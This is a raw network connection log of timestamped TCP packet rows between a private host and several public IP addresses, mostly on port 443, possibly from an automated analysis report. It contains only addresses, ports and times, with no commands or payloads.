May 27, 2025 20:51:51.290872097 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.290977001 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.291065931 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.291187048 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.304795980 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.305061102 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.305181980 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.305608034 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.305708885 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.305711985 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.305813074 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.305906057 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.305938959 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.305990934 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.306077003 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.306154966 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.306162119 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.306262970 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.306297064 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.306394100 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.306585073 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.306802988 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.306896925 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.306982994 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.306982994 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.307077885 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.307084084 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.307178974 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.307235003 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.307307005 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.307320118 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.307403088 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.307415962 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.307485104 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.307502985 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.307713985 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.307785034 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.307890892 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.307892084 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.307939053 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.308012009 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.308221102 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.308990002 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.309067965 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.309159994 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.309230089 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.309257030 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.309333086 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.309386969 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.309477091 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.309504986 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.309612989 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.309633970 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.309715986 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.309727907 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.309784889 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.309854984 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.309964895 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.310147047 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.310293913 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.330213070 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.330888987 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.330904007 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.330929041 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.331008911 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.331077099 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.331160069 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.350244999 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.350315094 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:51.351264000 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:51.351270914 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.351424932 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:51.351433039 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.351592064 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:51.351594925 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.351613045 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.352293968 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.352308035 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.352437973 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.352540016 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.352540016 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.352605104 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.352691889 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.353081942 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.353096962 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.353306055 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.353306055 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.355277061 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.355957985 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.355972052 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.356002092 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.356015921 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.356034040 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.356164932 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.356164932 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.356208086 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.356232882 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.356358051 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.356861115 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.356877089 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.356910944 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.357594013 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.357614994 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.358196020 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.358216047 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.358628988 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.359424114 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.360663891 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.361027956 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.361155987 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.361284018 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.361284971 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:51.361463070 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:51.363104105 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.363123894 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.363193989 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.363344908 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.364166021 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.364285946 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.364357948 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.369195938 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.369323015 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.369398117 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.370500088 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.370513916 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.370574951 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.370665073 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.376075029 CEST	49681	80	192.168.2.4	2.17.190.73
May 27, 2025 20:51:51.378601074 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.378695965 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.378794909 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.386485100 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.386559010 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.386650085 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.408281088 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.538808107 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.539077044 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.539088964 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.539175987 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.542016983 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.542119026 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.546005964 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:51.546021938 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:51.550965071 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:51.566745996 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.566864967 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.568027973 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.568094015 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.568130970 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.570741892 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.574781895 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.600996971 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.601571083 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.601969957 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.602554083 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.602721930 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.603667021 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.606055021 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.606319904 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.606493950 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.618746042 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.618917942 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.621236086 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.627959013 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.627979994 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.630570889 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.632174015 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.632236958 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.632585049 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.632603884 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.632817984 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.632929087 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.633083105 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.633863926 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.634521008 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.634666920 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.634756088 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.634958029 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.635149956 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.635225058 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.635345936 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.635525942 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.635710001 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.635899067 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.635963917 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.636271954 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.636343002 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.636437893 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.636965990 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.636984110 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.637516022 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.637768984 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.638010979 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.638241053 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.640922070 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.642811060 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.642829895 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.645162106 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.645175934 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.648283005 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.653918982 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.653937101 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.656284094 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.657883883 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.657902002 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.660329103 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.660347939 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.660419941 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.662679911 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.662693024 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.662714958 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.668277979 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.669939041 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.669951916 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.669976950 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.670171976 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.671222925 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.671237946 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.671283960 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.671295881 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.671314955 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.671428919 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.671505928 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.672280073 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.679506063 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.679528952 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.679666042 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.679738045 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.679740906 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.679754019 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.679775000 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.679817915 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.679847956 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.679867029 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.679878950 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.679910898 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.679927111 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680058002 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.680160046 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.680162907 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.680175066 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680195093 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680231094 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680233955 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.680273056 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680645943 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.680646896 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.680656910 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680775881 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.680778027 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.680788040 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680836916 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.680836916 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.680855989 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.680867910 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680888891 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680927038 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.680938005 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680960894 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.680980921 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681013107 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681061983 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.681073904 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681106091 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681111097 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.681150913 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681150913 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.681168079 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.681185961 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681212902 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681267023 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681282043 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.681298018 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681340933 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681526899 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.681540012 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681561947 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681634903 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.681644917 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681694031 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.681737900 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.681740046 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.681750059 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681809902 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.681812048 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.681823015 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.681914091 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.681925058 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.682061911 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.682073116 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.684161901 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.684195042 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.686177969 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.686191082 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.696600914 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.697412968 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.698257923 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.698276043 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.700265884 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.700288057 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.700918913 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.700934887 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.709582090 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.709595919 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.709724903 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.709736109 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.709763050 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.709803104 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.709822893 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.709862947 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.709872007 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.709899902 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.709916115 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.709929943 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.709939003 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.710063934 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710074902 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.710180998 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.710299015 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710344076 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710355997 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710356951 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710361958 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710369110 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710469961 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710474968 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.710474968 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.710668087 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.710769892 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.710877895 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.710949898 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.712306976 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.712358952 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.714405060 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.714420080 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.715567112 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.715913057 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.716836929 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.716850042 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.716878891 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.717957973 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.718204021 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.728271961 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.731117964 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.731168985 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.732637882 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.732650995 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.733238935 CEST	443	49749	47.79.48.222	192.168.2.4
